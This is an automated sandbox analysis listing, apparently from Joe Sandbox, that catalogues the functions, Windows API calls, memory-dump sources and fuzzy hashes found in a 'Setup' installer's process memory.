Opcode Fuzzy Hash: edab08114f0562f61adf0c10c8ca06effa942f36efc001b1ad2dc819d18cf797
Instruction Fuzzy Hash: 0C11D37150124AEFCB10CF98CF45BDEBBB8BF15704F008816A550A7A41C7B0EA29CBB2

Function 6C901315 Relevance: 3.1, APIs: 2, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C90131C

Part of subcall function 6C9036BA: GetUserDefaultUILanguage.KERNEL32(02F92298,?,00000000,?,?,?,?,6C901338,?,00000010,6C8D5A14,?,?,?,0000004C,6C90B498), ref: 6C9036D8

_free.LIBCMT ref: 6C90137B

Part of subcall function 6C90374B: __EH_prolog3.LIBCMT ref: 6C903752
Part of subcall function 6C90374B: PathFileExistsW.SHLWAPI(?,SetupResources.dll,00000000,00000738,00000000,6C8FFA6E,0000000C,6C903A05,?,6C8BA794,?), ref: 6C9037B7

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$DefaultExistsFileLanguagePathUser_free
String ID:
API String ID: 2326855983-0
Opcode ID: 299112ef528cd507b887fffcc3b71790b025ba031632da09f1ca9b239d94cb49
Instruction ID: 028f1b228e7d56f49efbbad3a6bdcf8986c8baa3f26d447c4e0f646d8720b16e
Opcode Fuzzy Hash: 299112ef528cd507b887fffcc3b71790b025ba031632da09f1ca9b239d94cb49
Instruction Fuzzy Hash: 331109B1E0122A9BCF119FA4C8419EEBBB9AF25708F11449ED96077F00C738D546CBE1

Function 6C8E8CBF Relevance: 3.1, APIs: 2, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8E8CC6
PathFileExistsW.SHLWAPI(?,?,?,?), ref: 6C8E8D2F

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: ExistsFileH_prolog3Path
String ID:
API String ID: 20096932-0
Opcode ID: 637881c8cb6bb6ad4e085fc1a71de8a8e7e30f2a9b75bda218334903bbecf85b
Instruction ID: 240dcc139321a65bb39b39c08edf19360e2d59628a34621f8d57180c171a2776
Opcode Fuzzy Hash: 637881c8cb6bb6ad4e085fc1a71de8a8e7e30f2a9b75bda218334903bbecf85b
Instruction Fuzzy Hash: DA114C71600249DFDB10DFACC985ADE77A0FF25318B10896AE895CFB45DB30D914CB64

Function 6C8F9067 Relevance: 3.1, APIs: 2, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8F906E
__recalloc.LIBCMT ref: 6C8F90B0

Part of subcall function 6C918E8C: __CxxThrowException@8.LIBCMT ref: 6C918EA0

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: Exception@8H_prolog3Throw__recalloc
String ID:
API String ID: 2968967773-0
Opcode ID: c93ec03183fc523fb6935b40fa150bb6cf838c9622a53c73e501b283f3317404
Instruction ID: 364efdb9f2c4ceb0a4d69ed78a9c0aad745c6a85835ab092cb83851fc006f2a9
Opcode Fuzzy Hash: c93ec03183fc523fb6935b40fa150bb6cf838c9622a53c73e501b283f3317404
Instruction Fuzzy Hash: CC01C0312047019ADB309F28C68075A73E6EFE1788B658D1CC5B59BE44EB73E817C640

Function 63960717 Relevance: 3.1, APIs: 2, Instructions: 51COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6396071E
__recalloc.LIBCMT ref: 63960766

Part of subcall function 639683CE: __CxxThrowException@8.LIBCMT ref: 639683E2

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Exception@8H_prolog3Throw__recalloc
String ID:
API String ID: 2968967773-0
Opcode ID: 90c90433fac4549a4a86da3a8ea59c5324f37a737f28058f8303cd97423550c1
Instruction ID: eae2124c7a1bab60c45fea6e62fb33ecb538f445a96cb17836f5676b8ee800b3
Opcode Fuzzy Hash: 90c90433fac4549a4a86da3a8ea59c5324f37a737f28058f8303cd97423550c1
Instruction Fuzzy Hash: 6D01C4325497019AF320CE38CDC1A1E76E9EBA2F84F21882DE49E8B340EB30D441CE00

Function 6C918BDC Relevance: 3.1, APIs: 2, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

_memmove_s.LIBCMT ref: 6C918C2A

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: _memmove_s
String ID:
API String ID: 800865076-0
Opcode ID: 052af3e1cd63b7b32d93e05f0403934d3c10a9d179138d7e1437bd8bf0c64c07
Instruction ID: 73ccc102bddd63dc1e88f7682f3012f4b7f116e7791479c4a7e3ce0448f52cf2
Opcode Fuzzy Hash: 052af3e1cd63b7b32d93e05f0403934d3c10a9d179138d7e1437bd8bf0c64c07
Instruction Fuzzy Hash: DB01B5B1618108AF970CDF59CC9ACAEB36EDFB4258716012EE50587B00DF71ED04D698

Function 6C8C5D3F Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8C5D46
GetModuleFileNameW.KERNEL32(6C8A0000,00000010,00000104,?,6C8F831D,00000000), ref: 6C8C5D93

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: FileH_prolog3ModuleName
String ID:
API String ID: 3149745539-0
Opcode ID: ba8b45d54c620ef05fe982824c789933216c1475a155b1f547026d67b6e775a6
Instruction ID: bd93c08b4a318e5726004abaf26e57e01c21347dd9663138922c057d28394426
Opcode Fuzzy Hash: ba8b45d54c620ef05fe982824c789933216c1475a155b1f547026d67b6e775a6
Instruction Fuzzy Hash: E6019270A202199FCB14DFA5C9449EEBB71FF61359F014928E455ABB90C730DE0ACB94

Function 6C91847A Relevance: 3.0, APIs: 2, Instructions: 38registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(00000000,00000034,00000000,00000001,00000000,00000000,00000034,?,?,6C8D463B,00000034,00000034,00000000), ref: 6C9184A9
RegCloseKey.ADVAPI32(?,?,?,6C8D463B,00000034,00000034,00000000), ref: 6C9184BA

Part of subcall function 6C918414: GetModuleHandleW.KERNEL32(Advapi32.dll,?,?,6C91849F,00000000,00000034,00000001,00000000,00000000,00000034,?,?,6C8D463B,00000034,00000034,00000000), ref: 6C918425
Part of subcall function 6C918414: GetProcAddress.KERNEL32(00000000,RegOpenKeyTransactedW), ref: 6C918435

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: AddressCloseHandleModuleOpenProc
String ID:
API String ID: 823179699-0
Opcode ID: c73f69094528a94b0217d89b1194273d736c72cd5f0c5962c130000586fede1c
Instruction ID: d1b43b05ce0f0f02a35908890531110590ec217061d8c74691f82e988ea4dd63
Opcode Fuzzy Hash: c73f69094528a94b0217d89b1194273d736c72cd5f0c5962c130000586fede1c
Instruction Fuzzy Hash: B9F0C232105209FFDB198F82CC81B9EB77CFF00359F118126F9169A980CB35DA10EB94

Function 639629EF Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 639629F6

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

Part of subcall function 6394D923: __EH_prolog3.LIBCMT ref: 6394D92A
Part of subcall function 6394D923: PathIsRelativeW.SHLWAPI(00000000,00000000,?,00000000,00000008,6395E271,00000000,?,?,00000DF0,?,?), ref: 6394D960
Part of subcall function 6394D923: GetModuleFileNameW.KERNEL32(00000010,00000104,?,00000000,00000008,6395E271,00000000,?,?,00000DF0,?,?), ref: 6394D9BA
Part of subcall function 6394D923: PathCombineW.SHLWAPI(?,?,?,00000000,?,00000000,00000008,6395E271,00000000,?,?,00000DF0,?,?), ref: 6394DA0D

SysFreeString.OLEAUT32(00000000), ref: 63962A33

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3$Path$CombineFileFreeModuleNameRelativeString
String ID:
API String ID: 2530041087-0
Opcode ID: 889e58d9cc3b1400c90b32b865566965b1f67acc63d09303c7cbdb7a39675615
Instruction ID: 5861ebabda14537d3013b999edf7759edef9579330ff69845a28a84243a94aec
Opcode Fuzzy Hash: 889e58d9cc3b1400c90b32b865566965b1f67acc63d09303c7cbdb7a39675615
Instruction Fuzzy Hash: 43F01C71910309ABDF10EFA4CC04AEE7BB8FF15B19F008819F514A6150CB31DA149F51

Function 6C8E516F Relevance: 3.0, APIs: 2, Instructions: 19libraryCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,6C8E50F8,00000000,0000000C,6C8E6E7F,00000000,?), ref: 6C8E517C
LoadLibraryW.KERNEL32(?,?,?,6C8E50F8,00000000,0000000C,6C8E6E7F,00000000,?), ref: 6C8E5194

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: Library$FreeLoad
String ID:
API String ID: 534179979-0
Opcode ID: 1bc9aca2b4428e5e2fccc95480f3171218f278f6d1aa19f3a16c2321bd55a0ba
Instruction ID: 848d2a6a500f8a2ed9f5d3467b23afb4fe3f4b807b9fb47a089bfd5f23967003
Opcode Fuzzy Hash: 1bc9aca2b4428e5e2fccc95480f3171218f278f6d1aa19f3a16c2321bd55a0ba
Instruction Fuzzy Hash: 69E08C3A2007009FD7308F99E508A4BBBF8EB86B45B008839E96AC3900CB31F412CA90

Function 6C8F4029 Relevance: 3.0, APIs: 2, Instructions: 17COMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,?,6C902CF3), ref: 6C8F4035
CloseHandle.KERNEL32(?), ref: 6C8F404C

Part of subcall function 6C9189C8: GetLastError.KERNEL32(6C8C80E8,6C8CA9FA,?,80000000,00000001,00000003,00000080,00000000,00000000,?,?,?,?,?,00000001), ref: 6C9189C8

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: BuffersCloseErrorFileFlushHandleLast
String ID:
API String ID: 2301079650-0
Opcode ID: e639b834cbe445f6e2229314151ac40851eccb9d2b997bc29b2082d3e86b1da1
Instruction ID: 83f0f3acee7a7ee4addfa153b3df8b41b74edbbd06af35c021929f75fc9a5c75
Opcode Fuzzy Hash: e639b834cbe445f6e2229314151ac40851eccb9d2b997bc29b2082d3e86b1da1
Instruction Fuzzy Hash: 13D012316147018BDB709F71E50E75676F4BFC135AF010E1DE471D6940D7B4E415C654

Function 6394E389 Relevance: 3.0, APIs: 2, Instructions: 12windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 6394E390
PostMessageW.USER32(00000000,00000470,00000000,?), ref: 6394E3A1

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: MessageParentPost
String ID:
API String ID: 3400216365-0
Opcode ID: 40c1bcfc53c491e732998ab236e7b36b3acc101f310a5a9dc6eb928a600c1ffd
Instruction ID: cc0e689045eb1ea56a2b5fee0e885a04409966cf970cc861e25f72a442884c35
Opcode Fuzzy Hash: 40c1bcfc53c491e732998ab236e7b36b3acc101f310a5a9dc6eb928a600c1ffd
Instruction Fuzzy Hash: D1C01276048208BFCB003BA1CC09F5A7FADEB86B99F048010F3084A4A29B72A4209A58

Function 00292915 Relevance: 3.0, APIs: 2, Instructions: 8memoryCOMMON

Download Yara Rule

APIs

HeapSetInformation.KERNEL32(00000000,00000001,00000000,00000000), ref: 0029291C
Run.SETUPENGINE ref: 00292922

Memory Dump Source

Source File: 00000004.00000002.2623419946.0000000000291000.00000020.00000001.01000000.00000008.sdmp, Offset: 00290000, based on PE: true

Associated: 00000004.00000002.2623171849.0000000000290000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2623684550.0000000000298000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2623967177.000000000029A000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_290000_Setup.jbxd

Similarity

API ID: HeapInformation
String ID:
API String ID: 3918721486-0
Opcode ID: 89c90749a735588f7826add4365c426be2f7f845b05d390bd686dbf7605ae22a
Instruction ID: 067db78deae28369b1371dfb4afe508df3e447bdfdcdcc586ff4e08710fe5479
Opcode Fuzzy Hash: 89c90749a735588f7826add4365c426be2f7f845b05d390bd686dbf7605ae22a
Instruction Fuzzy Hash: 85B092B05202416EEA005722AC0DF36261CEB00342F000812BC06C00A4C6A248A0C520

Function 6C8F84FF Relevance: 2.5, APIs: 2, Instructions: 43COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000003,00000000,00000000,000000FF,00000000,00000000,6C8FFA6E,02F92298,?,?,6C8F83B3,02F92298,6C8BA794,02F92298,6C8BA794,00000000), ref: 6C8F851E
MultiByteToWideChar.KERNEL32(00000003,00000000,00000000,000000FF,00000000,00000000,00000000,6C8FFA6E,02F92298,?,?,6C8F83B3,02F92298,6C8BA794,02F92298,6C8BA794), ref: 6C8F853F

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 6ff92a0d6102aca654d1fc25e5d49c18a4e7c19af5b98ceb2295033fd968f1a8
Instruction ID: 0d820384f12126e6e1c0ab8a240e831acd8c1242da38a60cb108af7a77a04ffe
Opcode Fuzzy Hash: 6ff92a0d6102aca654d1fc25e5d49c18a4e7c19af5b98ceb2295033fd968f1a8
Instruction Fuzzy Hash: D3F0C232244128B7CB225A8A8C44EDF7B1DEBABBB4F114506B6385A9808A30D50296B0

Function 6C8E878D Relevance: 1.9, APIs: 1, Instructions: 412COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8E8797

Part of subcall function 6C8C5D3F: __EH_prolog3.LIBCMT ref: 6C8C5D46
Part of subcall function 6C8C5D3F: GetModuleFileNameW.KERNEL32(6C8A0000,00000010,00000104,?,6C8F831D,00000000), ref: 6C8C5D93

Part of subcall function 6C8E24CD: __EH_prolog3.LIBCMT ref: 6C8E24D4
Part of subcall function 6C8E24CD: __CxxThrowException@8.LIBCMT ref: 6C8E255B

Part of subcall function 6C8D953C: __EH_prolog3.LIBCMT ref: 6C8D9543
Part of subcall function 6C8D953C: PathFileExistsW.SHLWAPI(00000000,?,?,?), ref: 6C8D95E6

Part of subcall function 6C9268B5: PMDtoOffset.LIBCMT ref: 6C926989
Part of subcall function 6C9268B5: std::bad_exception::bad_exception.LIBCMT ref: 6C9269B3
Part of subcall function 6C9268B5: __CxxThrowException@8.LIBCMT ref: 6C9269C1

Part of subcall function 6C8E8CBF: __EH_prolog3.LIBCMT ref: 6C8E8CC6

Part of subcall function 6C8F8E8B: PathCombineW.SHLWAPI(?,6C8F831D,?,76F93340,?,6C8C7971,00000000,DW\DW20.exe,?,?,6C8F831D,00000000), ref: 6C8F8EB8

Part of subcall function 6C8FB369: __EH_prolog3.LIBCMT ref: 6C8FB370
Part of subcall function 6C8FB369: __recalloc.LIBCMT ref: 6C8FB3BB

Part of subcall function 6C8FBC6D: __recalloc.LIBCMT ref: 6C8FBCAB

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$Exception@8FilePathThrow__recalloc$CombineExistsModuleNameOffsetstd::bad_exception::bad_exception
String ID:
API String ID: 1089964648-0
Opcode ID: ea500dda2e7f6de0fe1a5d222fe45e5ad6e4dfdad4c2f6f471f24ea51e3901f2
Instruction ID: 09c6ff7c84ed2b58645a1799fd5468447b3f0f976d671a09df557f362b3a4ab7
Opcode Fuzzy Hash: ea500dda2e7f6de0fe1a5d222fe45e5ad6e4dfdad4c2f6f471f24ea51e3901f2
Instruction Fuzzy Hash: 34F1B071C01259DFCF10DFA8CA84ADEBBB5BF1A308F154965E814BB741C730AA19CBA1

Function 6C8E41FE Relevance: 1.6, APIs: 1, Instructions: 143COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8E4205

Part of subcall function 6C8D2771: __EH_prolog3.LIBCMT ref: 6C8D2778

Part of subcall function 6C8E4F19: __EH_prolog3.LIBCMT ref: 6C8E4F20

Part of subcall function 6C8E2081: __EH_prolog3.LIBCMT ref: 6C8E2088

Part of subcall function 6C8CC17A: _calloc.LIBCMT ref: 6C8CC1A0

Part of subcall function 6C9178C8: RaiseException.KERNEL32(C000008C,00000001,00000000,00000000,6C90139B,?,00000010,6C8D5A14,?,?,?,0000004C,6C90B498,?,?,?), ref: 6C9178D3

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: H_prolog3$ExceptionRaise_calloc
String ID:
API String ID: 1540488672-0
Opcode ID: e6d36a7cc16b32cc1ad7dc969cc5e80cbd8389b44c9306157440a2d4fc31d905
Instruction ID: b8aa4b7b7032aa7091998f82a05bbd8edad30cbcd7cdbec392ccbeb71b5cfcef
Opcode Fuzzy Hash: e6d36a7cc16b32cc1ad7dc969cc5e80cbd8389b44c9306157440a2d4fc31d905
Instruction Fuzzy Hash: FE513C7190124ADFCB10CFA8C680BD9BBF4BF49304F1588A9DD49AF716C770AA49CB60

Function 6C8F7889 Relevance: 1.6, APIs: 1, Instructions: 134COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8F7890

Part of subcall function 6C91C0AA: _malloc.LIBCMT ref: 6C91C0C4

Part of subcall function 6C8FA226: GetTickCount.KERNEL32 ref: 6C8FA241
Part of subcall function 6C8FA226: GetTickCount.KERNEL32 ref: 6C8FA27C
Part of subcall function 6C8FA226: __time64.LIBCMT ref: 6C8FA282
Part of subcall function 6C8FA226: InitializeCriticalSection.KERNEL32(00000040,?,6C8F7905,?), ref: 6C8FA292

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c8a0000_Setup.jbxd

Similarity

API ID: CountTick$CriticalH_prolog3InitializeSection__time64_malloc
String ID:
API String ID: 349597444-0
Opcode ID: 1269749b4e7095bca5f63ce378b283f073d6164fd1c7a1227444134520a1de8e
Instruction ID: be36ce30261add375fb16e79840c6f877f71068ce441eb5578364c477c4e1eb9
Opcode Fuzzy Hash: 1269749b4e7095bca5f63ce378b283f073d6164fd1c7a1227444134520a1de8e
Instruction Fuzzy Hash: F6518B74610618DFDB18DF38C995AA937B1FF09324B2089A9F826DB7A1CB30E905CB50

Function 6C8D59B8 Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C8D59BF

Part of subcall function 6C8D56A3: SysFreeString.OLEAUT32(?), ref: 6C8D578A
Part of subcall function 6C8D56A3: SysFreeString.OLEAUT32(?), ref: 6C8D5799
Part of subcall function 6C8D56A3: SysFreeString.OLEAUT32(?), ref: 6C8D57C7

Part of subcall function 6C901315: __EH_prolog3.LIBCMT ref: 6C90131C
Part of subcall function 6C901315: _free.LIBCMT ref: 6C90137B

Part of subcall function 6C8FB17C: __recalloc.LIBCMT ref: 6C8FB18D

Memory Dump Source

Source File: 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000004.00000002.2636411576.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636855498.000000006C94E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2636987218.000000006C94F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637111199.000000006C957000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2637251369.000000006C95A000.00000002.00000001.01000000.00000009.sdmpDownload File

